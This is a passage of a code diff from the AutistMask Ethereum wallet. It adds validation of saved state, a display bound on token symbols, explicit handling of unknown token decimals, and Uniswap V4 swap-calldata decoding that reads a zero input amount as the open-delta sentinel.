// no row at all.
|
||||||
|
//
|
||||||
|
// What the boots do NOT drive is every combination: four value combinations
|
||||||
|
// per view, not the product of the twelve swept fields. The last of the four
|
||||||
|
// is itself a mix — every falsy-capable field falsy against the ones that
|
||||||
|
// cannot be falsy — so many two-field interactions are driven; one needing a
|
||||||
|
// pairing none of the four produces is not. Nor is anything no stored record
|
||||||
|
// reaches by itself: a view only forward navigation opens, and anything behind
|
||||||
|
// a click.
|
||||||
|
//
|
||||||
|
// That test exists because this comment did not work. It carried a
|
||||||
|
// hand-written justification per field, and it shipped a false one in three
|
||||||
|
// consecutive changes — a different field each time, each caught only by a
|
||||||
|
// reviewer re-deriving thirty fields by hand. A claim nobody can execute is
|
||||||
|
// worse than no claim, because it is believed.
|
||||||
|
//
|
||||||
|
// The trap is worth stating here, since it is what all three got wrong: a
|
||||||
|
// check on a CONTAINER is not a check on its ENTRIES, and the dereference is
|
||||||
|
// one level below the container. `[1, 2]` is a list, `{"0x…": "notalist"}` is
|
||||||
|
// a record, and `{"currentView":"success-tx","viewData":{"hash":"0x1"}}`
|
||||||
|
// passes the restore gate and throws on the address the renderer below it
|
||||||
|
// reads. A field added to the record needs a decision about its entries as
|
||||||
|
// well as its shape — and then a row in that test.
|
||||||
|
|
||||||
|
const { isKnownNetworkId } = require("./networks");
|
||||||
|
|
||||||
|
// Bump this when the MEANING of a stored field changes, and add the migration
|
||||||
|
// that carries the older version forward. Adding a field with a defaulted
|
||||||
|
// absent value is not a bump: normalizePersisted() already handles that, and
|
||||||
|
// bumping for it would send every older install to the recovery screen for no
|
||||||
|
// reason.
|
||||||
|
//
|
||||||
|
// Version 1 is the shape that shipped unversioned. An unversioned record is
|
||||||
|
// therefore version 1, not a defect — see migrationNeeded() below.
|
||||||
|
const STATE_SCHEMA_VERSION = 1;
|
||||||
|
|
||||||
|
// Thrown by every read path that finds a record it cannot use. `problem` is
|
||||||
|
// the sentence shown to the user; `message` carries the same text so a log
|
||||||
|
// line or a rethrow is not empty.
|
||||||
|
class StateUnusableError extends Error {
|
||||||
|
constructor(problem) {
|
||||||
|
super(problem);
|
||||||
|
this.name = "StateUnusableError";
|
||||||
|
this.problem = problem;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
function isPlainObject(value) {
|
||||||
|
return typeof value === "object" && value !== null && !Array.isArray(value);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Own properties only, everywhere in this file. `saved` comes from storage as
|
||||||
|
// parsed JSON, so `saved.constructor` and `saved.__proto__` answer from the
|
||||||
|
// prototype chain for a record that carries neither — a check written as a
|
||||||
|
// plain truthiness test can be satisfied by Object.prototype rather than by
|
||||||
|
// anything the user's profile actually contains.
|
||||||
|
function has(obj, key) {
|
||||||
|
return Object.prototype.hasOwnProperty.call(obj, key);
|
||||||
|
}
|
||||||
|
|
||||||
|
function ordinal(index) {
|
||||||
|
return String(index + 1);
|
||||||
|
}
|
||||||
|
|
||||||
|
function describeType(value) {
|
||||||
|
if (value === null) return "null";
|
||||||
|
if (Array.isArray(value)) return "a list";
|
||||||
|
return "a " + typeof value;
|
||||||
|
}
|
||||||
|
|
||||||
|
// One address record, as every screen dereferences it.
|
||||||
|
function addressProblem(addr, walletIndex, addrIndex) {
|
||||||
|
const where =
|
||||||
|
"address " +
|
||||||
|
ordinal(addrIndex) +
|
||||||
|
" of wallet " +
|
||||||
|
ordinal(walletIndex) +
|
||||||
|
" in the saved data";
|
||||||
|
if (!isPlainObject(addr)) {
|
||||||
|
return "The " + where + " is " + describeType(addr) + ", not a record.";
|
||||||
|
}
|
||||||
|
if (typeof addr.address !== "string" || addr.address === "") {
|
||||||
|
return "The " + where + " has no address.";
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function walletProblem(wallet, index) {
|
||||||
|
const where = "Wallet " + ordinal(index) + " in the saved data";
|
||||||
|
if (!isPlainObject(wallet)) {
|
||||||
|
return where + " is " + describeType(wallet) + ", not a wallet record.";
|
||||||
|
}
|
||||||
|
if (!Array.isArray(wallet.addresses)) {
|
||||||
|
return where + " has no list of addresses.";
|
||||||
|
}
|
||||||
|
if (has(wallet, "name") && typeof wallet.name !== "string") {
|
||||||
|
return where + " has a name that is not text.";
|
||||||
|
}
|
||||||
|
for (let i = 0; i < wallet.addresses.length; i++) {
|
||||||
|
const problem = addressProblem(wallet.addresses[i], index, i);
|
||||||
|
if (problem) return problem;
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
function versionProblem(saved) {
|
||||||
|
// No version field at all is the shape every install in the field has:
|
||||||
|
// no build ever wrote one. It is version 1, and it is migrated in place.
|
||||||
|
if (!has(saved, "schemaVersion")) return null;
|
||||||
|
const version = saved.schemaVersion;
|
||||||
|
if (
|
||||||
|
typeof version !== "number" ||
|
||||||
|
!Number.isInteger(version) ||
|
||||||
|
version < 1
|
||||||
|
) {
|
||||||
|
return (
|
||||||
|
"The saved data carries a schema version AutistMask does not" +
|
||||||
|
" recognize (" +
|
||||||
|
JSON.stringify(version) +
|
||||||
|
")."
|
||||||
|
);
|
||||||
|
}
|
||||||
|
if (version > STATE_SCHEMA_VERSION) {
|
||||||
|
return (
|
||||||
|
"The saved data was written by a newer version of AutistMask" +
|
||||||
|
" (schema version " +
|
||||||
|
version +
|
||||||
|
"; this build understands version " +
|
||||||
|
STATE_SCHEMA_VERSION +
|
||||||
|
")."
|
||||||
|
);
|
||||||
|
}
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* The reason this build cannot use `saved`, as a sentence for the user, or
|
||||||
|
* null when it can.
|
||||||
|
*
|
||||||
|
* @param {*} saved the raw record from storage, or undefined for a fresh
|
||||||
|
* install.
|
||||||
|
* @returns {string|null}
|
||||||
|
*/
|
||||||
|
function stateProblem(saved) {
|
||||||
|
// Nothing stored is a first run, not a defect.
|
||||||
|
if (saved === undefined || saved === null) return null;
|
||||||
|
if (!isPlainObject(saved)) {
|
||||||
|
return (
|
||||||
|
"The saved data is " +
|
||||||
|
describeType(saved) +
|
||||||
|
", not the record AutistMask stores."
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
const version = versionProblem(saved);
|
||||||
|
if (version) return version;
|
||||||
|
|
||||||
|
// Read once, from an OWN property or not at all, so that a polluted
|
||||||
|
// prototype cannot decide whether a profile is refused. Note that
|
||||||
|
// normalizePersisted() reads the same field plainly, and so WOULD consult
|
||||||
|
// the prototype chain: the two halves agree only because a record arriving
|
||||||
|
// from storage has been through structuredClone and always carries
|
||||||
|
// Object.prototype. Nothing reachable from storage can put them at odds,
|
||||||
|
// but a caller that hands either one a hand-built object with an unusual
|
||||||
|
// prototype is not covered by that.
|
||||||
|
const wallets =
|
||||||
|
has(saved, "wallets") && saved.wallets !== undefined
|
||||||
|
? saved.wallets
|
||||||
|
: [];
|
||||||
|
if (!Array.isArray(wallets)) {
|
||||||
|
return (
|
||||||
|
"The list of wallets in the saved data is " +
|
||||||
|
describeType(wallets) +
|
||||||
|
", not a list."
|
||||||
|
);
|
||||||
|
}
|
||||||
|
for (let i = 0; i < wallets.length; i++) {
|
||||||
|
const problem = walletProblem(wallets[i], i);
|
||||||
|
if (problem) return problem;
|
||||||
|
}
|
||||||
|
|
||||||
|
// networkId is not merely displayed: it is an object KEY into
|
||||||
|
// state.networkEndpoints. A corrupt "__proto__" would set that map's
|
||||||
|
// prototype instead of an own key, so the user's endpoint would silently
|
||||||
|
// not be recorded and a switch away and back would return the public
|
||||||
|
// default. isKnownNetworkId() is an own-property test against the network
|
||||||
|
// table for exactly that reason.
|
||||||
|
if (
|
||||||
|
has(saved, "networkId") &&
|
||||||
|
saved.networkId !== undefined &&
|
||||||
|
!isKnownNetworkId(saved.networkId)
|
||||||
|
) {
|
||||||
|
return (
|
||||||
|
"The saved data selects a network AutistMask does not know (" +
|
||||||
|
JSON.stringify(saved.networkId) +
|
||||||
|
")."
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Refuse a record this build cannot use.
|
||||||
|
*
|
||||||
|
* @param {*} saved the raw record from storage.
|
||||||
|
* @throws {StateUnusableError}
|
||||||
|
*/
|
||||||
|
function assertStateUsable(saved) {
|
||||||
|
const problem = stateProblem(saved);
|
||||||
|
if (problem) throw new StateUnusableError(problem);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Whether `saved` is a usable record written before versions existed, and so
|
||||||
|
* gets the current version stamped on it the next time anything writes. Purely
|
||||||
|
* informational — the migration itself is that stamp, since version 1 IS the
|
||||||
|
* unversioned shape.
|
||||||
|
*
|
||||||
|
* @param {*} saved
|
||||||
|
* @returns {boolean}
|
||||||
|
*/
|
||||||
|
function migrationNeeded(saved) {
|
||||||
|
return (
|
||||||
|
isPlainObject(saved) &&
|
||||||
|
!has(saved, "schemaVersion") &&
|
||||||
|
stateProblem(saved) === null
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
STATE_SCHEMA_VERSION,
|
||||||
|
StateUnusableError,
|
||||||
|
assertStateUsable,
|
||||||
|
migrationNeeded,
|
||||||
|
stateProblem,
|
||||||
|
};
|
||||||
43
src/shared/symbolDisplay.js
Normal file
43
src/shared/symbolDisplay.js
Normal file
@@ -0,0 +1,43 @@
|
|||||||
|
// The length bound on a token symbol as displayed.
|
||||||
|
//
|
||||||
|
// A symbol is whatever an ERC-20's symbol() returns and the wallet fetches
|
||||||
|
// it from the block explorer, which imposes no length: src/shared/balances.js
|
||||||
|
// takes `item.token.symbol` as given. A kilobyte-long symbol is a real
|
||||||
|
// return value, and rendering it pushes every amount off the row, scrolls
|
||||||
|
// the balance list past the screen, and hides the figures the user is there
|
||||||
|
// to read.
|
||||||
|
//
|
||||||
|
// This is a layout bound, not a security control. Escaping is what makes a
|
||||||
|
// hostile symbol inert (see src/shared/html.js), and isSpoofedSymbol() is
|
||||||
|
// what catches one impersonating a known ticker; neither job belongs here
|
||||||
|
// and neither is done here. Truncating an unescaped symbol would still be
|
||||||
|
// an injection, just a shorter one.
|
||||||
|
//
|
||||||
|
// 12 characters, which is the bound lookupTokenInfo() in
|
||||||
|
// src/shared/balances.js already applies when it stores a symbol read
|
||||||
|
// straight off a contract; the explorer path was the one with no bound at
|
||||||
|
// all. The longest symbol across the 512 entries of the bundled list is 10
|
||||||
|
// (MSYRUPUSDP), so nothing the wallet ships as a real token is ever
|
||||||
|
// truncated. The ellipsis is what tells the user the name they are looking
|
||||||
|
// at is not the whole name — worth knowing before they send to it.
|
||||||
|
|
||||||
|
const MAX_SYMBOL_LENGTH = 12;
|
||||||
|
|
||||||
|
// The placeholder for a token whose symbol the explorer did not report.
|
||||||
|
// balances.js already substitutes this; repeated here so a symbol that
|
||||||
|
// arrives empty from anywhere else displays the same way rather than as a
|
||||||
|
// blank gap in the row.
|
||||||
|
const UNKNOWN_SYMBOL = "???";
|
||||||
|
|
||||||
|
function displaySymbol(symbol) {
|
||||||
|
const s = symbol === null || symbol === undefined ? "" : String(symbol);
|
||||||
|
if (s.length === 0) return UNKNOWN_SYMBOL;
|
||||||
|
if (s.length <= MAX_SYMBOL_LENGTH) return s;
|
||||||
|
return s.slice(0, MAX_SYMBOL_LENGTH - 1) + "…";
|
||||||
|
}
|
||||||
|
|
||||||
|
module.exports = {
|
||||||
|
displaySymbol,
|
||||||
|
MAX_SYMBOL_LENGTH,
|
||||||
|
UNKNOWN_SYMBOL,
|
||||||
|
};
|
||||||
@@ -11,6 +11,14 @@ const { log, debugFetch } = require("./log");
|
|||||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||||
const { parseHoldersCount, isLowHolderCount } = require("./holders");
|
const { parseHoldersCount, isLowHolderCount } = require("./holders");
|
||||||
const { isSpoofedSymbol } = require("./symbolSpoof");
|
const { isSpoofedSymbol } = require("./symbolSpoof");
|
||||||
|
// The uint8 test every scale in this wallet goes through. Shared, not copied:
|
||||||
|
// a scale is either reported or it is unknown, and "unknown" must mean the
|
||||||
|
// same thing here as it does on the screens that refuse to format one.
|
||||||
|
const { toDecimals } = require("./transferAmount");
|
||||||
|
// The plain 4-decimal rule. The history and balance lists deliberately keep
|
||||||
|
// truncation without the approval screens' nonzero floor: the transaction
|
||||||
|
// detail view is the authoritative record and already shows exact precision.
|
||||||
|
const { truncateAmount: formatTxValue } = require("./amountDisplay");
|
||||||
|
|
||||||
// Ethereum addresses are case-insensitive: EIP-55 mixed case is a checksum
|
// Ethereum addresses are case-insensitive: EIP-55 mixed case is a checksum
|
||||||
// over the address, not part of its identity. Every address comparison in
|
// over the address, not part of its identity. Every address comparison in
|
||||||
@@ -20,13 +28,6 @@ function normalizeAddress(addr) {
|
|||||||
return (addr || "").toLowerCase();
|
return (addr || "").toLowerCase();
|
||||||
}
|
}
|
||||||
|
|
||||||
function formatTxValue(val) {
|
|
||||||
const parts = val.split(".");
|
|
||||||
if (parts.length === 1) return val + ".0000";
|
|
||||||
const dec = (parts[1] + "0000").slice(0, 4);
|
|
||||||
return parts[0] + "." + dec;
|
|
||||||
}
|
|
||||||
|
|
||||||
function parseTx(tx, addrLower) {
|
function parseTx(tx, addrLower) {
|
||||||
const from = tx.from?.hash || "";
|
const from = tx.from?.hash || "";
|
||||||
const to = tx.to?.hash || "";
|
const to = tx.to?.hash || "";
|
||||||
@@ -95,21 +96,37 @@ function parseTx(tx, addrLower) {
|
|||||||
function parseTokenTransfer(tt, addrLower) {
|
function parseTokenTransfer(tt, addrLower) {
|
||||||
const from = tt.from?.hash || "";
|
const from = tt.from?.hash || "";
|
||||||
const to = tt.to?.hash || "";
|
const to = tt.to?.hash || "";
|
||||||
const decimals = parseInt(tt.total?.decimals || "18", 10);
|
// The explorer's own answer, or null. Never a default: a transfer of
|
||||||
|
// 5000000000 units formatted at a guessed 18 reads as 0.000000005, and
|
||||||
|
// nothing downstream can tell that from a real 18-decimal transfer of
|
||||||
|
// that size. `parseInt(x || "18", 10)` also collapsed a genuine scale of
|
||||||
|
// ZERO into 18 (https://git.eeqj.de/sneak/AutistMask/issues/246).
|
||||||
|
const decimals = toDecimals(tt.total?.decimals);
|
||||||
const rawVal = tt.total?.value || "0";
|
const rawVal = tt.total?.value || "0";
|
||||||
const direction =
|
const direction =
|
||||||
normalizeAddress(from) === addrLower ? "sent" : "received";
|
normalizeAddress(from) === addrLower ? "sent" : "received";
|
||||||
const sym = tt.token?.symbol || "?";
|
const sym = tt.token?.symbol || "?";
|
||||||
|
// Without a scale there is no token quantity, so none is stated: the list
|
||||||
|
// row falls back to the symbol alone and the detail screen to its
|
||||||
|
// direction label, exactly as the contract-call rows above already do.
|
||||||
|
// The exact figure is not lost — it is the base-unit line below, which is
|
||||||
|
// the one number that needs no scale to be true.
|
||||||
|
const formatted =
|
||||||
|
decimals === null ? "" : formatTxValue(formatUnits(rawVal, decimals));
|
||||||
|
const exact = decimals === null ? "" : formatUnits(rawVal, decimals);
|
||||||
return {
|
return {
|
||||||
hash: tt.transaction_hash,
|
hash: tt.transaction_hash,
|
||||||
blockNumber: tt.block_number,
|
blockNumber: tt.block_number,
|
||||||
timestamp: Math.floor(new Date(tt.timestamp).getTime() / 1000),
|
timestamp: Math.floor(new Date(tt.timestamp).getTime() / 1000),
|
||||||
from: from,
|
from: from,
|
||||||
to: to,
|
to: to,
|
||||||
value: formatTxValue(formatUnits(rawVal, decimals)),
|
value: formatted,
|
||||||
exactValue: formatUnits(rawVal, decimals),
|
exactValue: exact,
|
||||||
rawAmount: rawVal,
|
rawAmount: rawVal,
|
||||||
rawUnit: sym + " base units (10^-" + decimals + ")",
|
rawUnit:
|
||||||
|
decimals === null
|
||||||
|
? sym + " base units (decimals unknown)"
|
||||||
|
: sym + " base units (10^-" + decimals + ")",
|
||||||
valueGwei: null,
|
valueGwei: null,
|
||||||
symbol: sym,
|
symbol: sym,
|
||||||
direction: direction,
|
direction: direction,
|
||||||
|
|||||||
@@ -52,7 +52,7 @@ function mismatchMessage(displayed, onChain) {
|
|||||||
);
|
);
|
||||||
}
|
}
|
||||||
|
|
||||||
// A decimals value from either source as a number, or null if it is not one.
|
// A decimals value from any source as a number, or null if it is not one.
|
||||||
// decimals() comes back from ethers as a bigint and the explorer's copy arrives
|
// decimals() comes back from ethers as a bigint and the explorer's copy arrives
|
||||||
// as a string, so both of those are accepted alongside a plain number; anything
|
// as a string, so both of those are accepted alongside a plain number; anything
|
||||||
// fractional, negative, out of uint8 range, or of any other type at all is not.
|
// fractional, negative, out of uint8 range, or of any other type at all is not.
|
||||||
@@ -60,7 +60,16 @@ function mismatchMessage(displayed, onChain) {
|
|||||||
// The types are enumerated rather than coerced because Number() is far too
|
// The types are enumerated rather than coerced because Number() is far too
|
||||||
// willing: Number([]) is 0 and Number(true) is 1, so a coercing check would
|
// willing: Number([]) is 0 and Number(true) is 1, so a coercing check would
|
||||||
// admit an empty array as a scale of zero and encode a whole-token transfer
|
// admit an empty array as a scale of zero and encode a whole-token transfer
|
||||||
// against it.
|
// against it. Absence answers null and never a default, and a real scale of
|
||||||
|
// ZERO answers 0 — the two are different answers, which is the whole point:
|
||||||
|
// a falsy-collapsing `value || 18` cannot tell them apart, and neither can a
|
||||||
|
// reader of what it wrote (https://git.eeqj.de/sneak/AutistMask/issues/246).
|
||||||
|
//
|
||||||
|
// Exported because every module that has to decide whether it knows a token's
|
||||||
|
// scale needs exactly this test, and three separate copies of it is three
|
||||||
|
// places for the answer to drift: approvalAmount.js resolves the scale the
|
||||||
|
// approval screens display at, and balances.js decides what the explorer
|
||||||
|
// actually reported before it is stored.
|
||||||
function toDecimals(value) {
|
function toDecimals(value) {
|
||||||
let n;
|
let n;
|
||||||
if (typeof value === "number") {
|
if (typeof value === "number") {
|
||||||
@@ -110,6 +119,7 @@ module.exports = {
|
|||||||
displayedDecimals,
|
displayedDecimals,
|
||||||
transferAmountUnits,
|
transferAmountUnits,
|
||||||
mismatchMessage,
|
mismatchMessage,
|
||||||
|
toDecimals,
|
||||||
MAX_DECIMALS,
|
MAX_DECIMALS,
|
||||||
UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
|
UNKNOWN_DISPLAYED_DECIMALS_MESSAGE,
|
||||||
UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
|
UNREADABLE_CONTRACT_DECIMALS_MESSAGE,
|
||||||
|
|||||||
@@ -3,6 +3,11 @@
|
|||||||
|
|
||||||
const { Interface, AbiCoder, getBytes, formatUnits } = require("ethers");
|
const { Interface, AbiCoder, getBytes, formatUnits } = require("ethers");
|
||||||
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
const { TOKEN_BY_ADDRESS } = require("./tokenList");
|
||||||
|
const { truncateAmountNeverZero } = require("./amountDisplay");
|
||||||
|
const {
|
||||||
|
resolveTokenDecimals,
|
||||||
|
unknownDecimalsAmount,
|
||||||
|
} = require("./approvalAmount");
|
||||||
|
|
||||||
const coder = AbiCoder.defaultAbiCoder();
|
const coder = AbiCoder.defaultAbiCoder();
|
||||||
|
|
||||||
@@ -34,20 +39,112 @@ const COMMAND_NAMES = {
|
|||||||
0x21: "Execute Sub-Plan",
|
0x21: "Execute Sub-Plan",
|
||||||
};
|
};
|
||||||
|
|
||||||
|
// The swap's Amount and Min. received lines land on the same approval screen,
|
||||||
|
// and Amount is carried to the wait/success/error screens as the ERC-20 line
|
||||||
|
// is, so they take the same nonzero floor: a swap of an amount below 0.0001 is
|
||||||
|
// not "0.0000", and a slippage floor of one base unit does not read as "you may
|
||||||
|
// receive nothing".
|
||||||
function formatAmount(raw, decimals) {
|
function formatAmount(raw, decimals) {
|
||||||
const parts = formatUnits(raw, decimals).split(".");
|
return truncateAmountNeverZero(formatUnits(raw, decimals));
|
||||||
if (parts.length === 1) return parts[0] + ".0000";
|
|
||||||
const dec = (parts[1] + "0000").slice(0, 4);
|
|
||||||
return parts[0] + "." + dec;
|
|
||||||
}
|
}
|
||||||
|
|
||||||
function tokenInfo(address) {
|
// One wording for either side of the screen: a currency the calldata never
|
||||||
if (!address || address === "0x0000000000000000000000000000000000000000") {
|
// named. It reads as a refusal, the same stance unknownDecimalsAmount() takes
|
||||||
|
// on a scale — not as a token name, and not as a quantity.
|
||||||
|
const UNNAMED_CURRENCY = "Unknown (not named in the calldata)";
|
||||||
|
|
||||||
|
// Explicit presence, never truthiness. Every gate in this file that guards a
|
||||||
|
// decoded value goes through here: an address is never falsy once set, but an
|
||||||
|
// amount of 0n is, and a gate that cannot tell a genuine zero from an absent
|
||||||
|
// value is the trap this decoder has now been bitten by five times.
|
||||||
|
function present(value) {
|
||||||
|
return value !== null && value !== undefined;
|
||||||
|
}
|
||||||
|
|
||||||
|
// Uniswap V4 spells "use the whole open delta" as an amount of zero:
|
||||||
|
// v4-periphery `src/libraries/ActionConstants.sol` declares
|
||||||
|
// `uint128 internal constant OPEN_DELTA = 0` ("used to signal that an action
|
||||||
|
// should use the input value of the open delta on the pool manager or of the
|
||||||
|
// balance that the contract holds"), and `src/V4Router.sol` substitutes the
|
||||||
|
// full open credit whenever an exact-in swap action's `amountIn` equals it:
|
||||||
|
//
|
||||||
|
// uint128 amountIn = params.amountIn;
|
||||||
|
// if (amountIn == ActionConstants.OPEN_DELTA) {
|
||||||
|
// amountIn = _getFullCredit(...).toUint128();
|
||||||
|
// }
|
||||||
|
//
|
||||||
|
// in both `_swapExactInputSingle` and `_swapExactInput`. Sentinel and literal
|
||||||
|
// zero are the same uint128 word, so the encoding CANNOT distinguish them —
|
||||||
|
// and the router does not try: it reads every zero as the sentinel, so in V4
|
||||||
|
// there is no such thing as an exact-in swap of literally zero. The amount is
|
||||||
|
// therefore not stated by the calldata at all; it is whatever credit is open
|
||||||
|
// at execution time. It is carried as this sentinel rather than as 0n because
|
||||||
|
// printing "0.0000" would state the exact inverse of what will happen —
|
||||||
|
// "nothing is being swapped" for a step that swaps the entire balance.
|
||||||
|
//
|
||||||
|
// `amountOutMinimum` gets no such mapping: V4Router compares it directly
|
||||||
|
// (`if (amountOut < params.amountOutMinimum) revert V4TooLittleReceived`), so
|
||||||
|
// a zero minimum is a literal zero slippage floor and is stated as one. Nor do
|
||||||
|
// the V2/V3 paths have it — universal-router's `V3SwapRouter.v3SwapExactInput`
|
||||||
|
// special-cases only `ActionConstants.CONTRACT_BALANCE` (1<<255), never zero —
|
||||||
|
// so a zero `amountIn` there is a literal zero and is displayed as one.
|
||||||
|
const OPEN_DELTA = Symbol("v4-open-delta");
|
||||||
|
|
||||||
|
// The two amount lines that state a fact instead of a quantity. Same register
|
||||||
|
// as UNNAMED_CURRENCY — a sentence in the value slot, so it cannot be misread
|
||||||
|
// as a number — and deliberately not a third phrasing of "not named": these
|
||||||
|
// say different things.
|
||||||
|
const OPEN_DELTA_AMOUNT = "All available (V4 open delta)";
|
||||||
|
const NO_MINIMUM = "None (no minimum guaranteed)";
|
||||||
|
|
||||||
|
// Permit2 amounts are uint160; the maximum is Permit2's "unbounded".
|
||||||
|
const MAX_UINT160 = BigInt("0xffffffffffffffffffffffffffffffffffffffff");
|
||||||
|
|
||||||
|
// `decimals` is null when nothing knows this token's scale. It is not
|
||||||
|
// defaulted to 18: the swap lines land on the same approval screen as the
|
||||||
|
// ERC-20 line, and a scale guessed there is what showed a 1,000 USDT swap as
|
||||||
|
// 0.000000000001. `sources` is { trackedTokens, wallets }, shaped as they are
|
||||||
|
// on `state`; resolveTokenDecimals() reads the bundled list, then those.
|
||||||
|
//
|
||||||
|
// A null `address` means UNDETERMINED — the calldata named no currency for
|
||||||
|
// that side — and is refused rather than named. It is not native ETH: Uniswap
|
||||||
|
// V4 spells native ETH as `Currency.wrap(address(0))` (v4-core
|
||||||
|
// `type Currency is address`), and a Currency is ABI-encoded as a plain
|
||||||
|
// address word, so every decode site here gets back the truthy string
|
||||||
|
// "0x0000000000000000000000000000000000000000" for it — never null. WRAP_ETH
|
||||||
|
// sets that same explicit zero address, and an UNWRAP_WETH output is caught by
|
||||||
|
// its caller before this is consulted, so nothing that genuinely is ETH
|
||||||
|
// arrives null. Naming a null ETH states the wrong asset and formats its
|
||||||
|
// amount at the wrong scale.
|
||||||
|
function tokenInfo(address, sources) {
|
||||||
|
if (!address) {
|
||||||
|
return { symbol: null, decimals: null, address: null };
|
||||||
|
}
|
||||||
|
if (address === "0x0000000000000000000000000000000000000000") {
|
||||||
return { symbol: "ETH", decimals: 18, address: null };
|
return { symbol: "ETH", decimals: 18, address: null };
|
||||||
}
|
}
|
||||||
const t = TOKEN_BY_ADDRESS.get(address.toLowerCase());
|
const t = TOKEN_BY_ADDRESS.get(address.toLowerCase());
|
||||||
if (t) return { symbol: t.symbol, decimals: t.decimals, address };
|
return {
|
||||||
return { symbol: null, decimals: 18, address };
|
symbol: t ? t.symbol : null,
|
||||||
|
decimals: resolveTokenDecimals(address, sources),
|
||||||
|
address,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
// A swap amount line. With a scale it is the token quantity; with none it is
|
||||||
|
// the base-unit integer with the unknown scale stated, the same refusal the
|
||||||
|
// ERC-20 amount line makes, so the screen has one way of saying it. `display`
|
||||||
|
// is the line on the screen, `raw` is what the status screens carry.
|
||||||
|
function amountText(raw, info) {
|
||||||
|
if (info.decimals === null) {
|
||||||
|
const unknown = unknownDecimalsAmount(raw);
|
||||||
|
return { raw: unknown, display: unknown };
|
||||||
|
}
|
||||||
|
const formatted = formatAmount(raw, info.decimals);
|
||||||
|
return {
|
||||||
|
raw: formatted,
|
||||||
|
display: formatted + (info.symbol ? " " + info.symbol : ""),
|
||||||
|
};
|
||||||
}
|
}
|
||||||
|
|
||||||
// Decode PERMIT2_PERMIT (command 0x0a) input bytes.
|
// Decode PERMIT2_PERMIT (command 0x0a) input bytes.
|
||||||
@@ -174,6 +271,14 @@ const V4_SWAP_EXACT_OUT = 0x09;
|
|||||||
const V4_SETTLE = 0x0b;
|
const V4_SETTLE = 0x0b;
|
||||||
const V4_TAKE = 0x0e;
|
const V4_TAKE = 0x0e;
|
||||||
|
|
||||||
|
// A V4 exact-in `amountIn`, read the way V4Router reads it: zero is
|
||||||
|
// ActionConstants.OPEN_DELTA, not a quantity of zero. See the OPEN_DELTA
|
||||||
|
// comment above. The exact-OUT actions below decode no amounts at all, so
|
||||||
|
// their own OPEN_DELTA mapping on `amountOut` never reaches the screen.
|
||||||
|
function v4ExactInAmount(raw) {
|
||||||
|
return raw === 0n ? OPEN_DELTA : raw;
|
||||||
|
}
|
||||||
|
|
||||||
// Decode V4_SWAP (command 0x10) input bytes.
|
// Decode V4_SWAP (command 0x10) input bytes.
|
||||||
// The input is ABI-encoded as (bytes actions, bytes[] params).
|
// The input is ABI-encoded as (bytes actions, bytes[] params).
|
||||||
// We extract token addresses from SETTLE (input) and TAKE (output) sub-actions,
|
// We extract token addresses from SETTLE (input) and TAKE (output) sub-actions,
|
||||||
@@ -222,13 +327,17 @@ function decodeV4Swap(input) {
|
|||||||
],
|
],
|
||||||
params[i],
|
params[i],
|
||||||
);
|
);
|
||||||
if (!settleToken) settleToken = s[0][0];
|
if (!present(settleToken)) settleToken = s[0][0];
|
||||||
const path = s[0][1];
|
const path = s[0][1];
|
||||||
if (path.length > 0 && !takeToken) {
|
if (path.length > 0 && !present(takeToken)) {
|
||||||
takeToken = path[path.length - 1][0];
|
takeToken = path[path.length - 1][0];
|
||||||
}
|
}
|
||||||
if (!amountIn) amountIn = s[0][2];
|
if (!present(amountIn)) {
|
||||||
if (!amountOutMin) amountOutMin = s[0][3];
|
amountIn = v4ExactInAmount(s[0][2]);
|
||||||
|
}
|
||||||
|
if (!present(amountOutMin)) {
|
||||||
|
amountOutMin = s[0][3];
|
||||||
|
}
|
||||||
} catch {
|
} catch {
|
||||||
// Fall through — SETTLE/TAKE will provide tokens
|
// Fall through — SETTLE/TAKE will provide tokens
|
||||||
}
|
}
|
||||||
@@ -244,16 +353,20 @@ function decodeV4Swap(input) {
|
|||||||
);
|
);
|
||||||
const poolKey = s[0][0];
|
const poolKey = s[0][0];
|
||||||
const zeroForOne = s[0][1];
|
const zeroForOne = s[0][1];
|
||||||
if (!settleToken)
|
if (!present(settleToken))
|
||||||
settleToken = zeroForOne
|
settleToken = zeroForOne
|
||||||
? poolKey[0]
|
? poolKey[0]
|
||||||
: poolKey[1];
|
: poolKey[1];
|
||||||
if (!takeToken)
|
if (!present(takeToken))
|
||||||
takeToken = zeroForOne
|
takeToken = zeroForOne
|
||||||
? poolKey[1]
|
? poolKey[1]
|
||||||
: poolKey[0];
|
: poolKey[0];
|
||||||
if (!amountIn) amountIn = s[0][2];
|
if (!present(amountIn)) {
|
||||||
if (!amountOutMin) amountOutMin = s[0][3];
|
amountIn = v4ExactInAmount(s[0][2]);
|
||||||
|
}
|
||||||
|
if (!present(amountOutMin)) {
|
||||||
|
amountOutMin = s[0][3];
|
||||||
|
}
|
||||||
} catch {
|
} catch {
|
||||||
// Fall through
|
// Fall through
|
||||||
}
|
}
|
||||||
@@ -270,9 +383,9 @@ function decodeV4Swap(input) {
|
|||||||
],
|
],
|
||||||
params[i],
|
params[i],
|
||||||
);
|
);
|
||||||
if (!takeToken) takeToken = s[0][0];
|
if (!present(takeToken)) takeToken = s[0][0];
|
||||||
const path = s[0][1];
|
const path = s[0][1];
|
||||||
if (path.length > 0 && !settleToken) {
|
if (path.length > 0 && !present(settleToken)) {
|
||||||
settleToken = path[path.length - 1][0];
|
settleToken = path[path.length - 1][0];
|
||||||
}
|
}
|
||||||
} catch {
|
} catch {
|
||||||
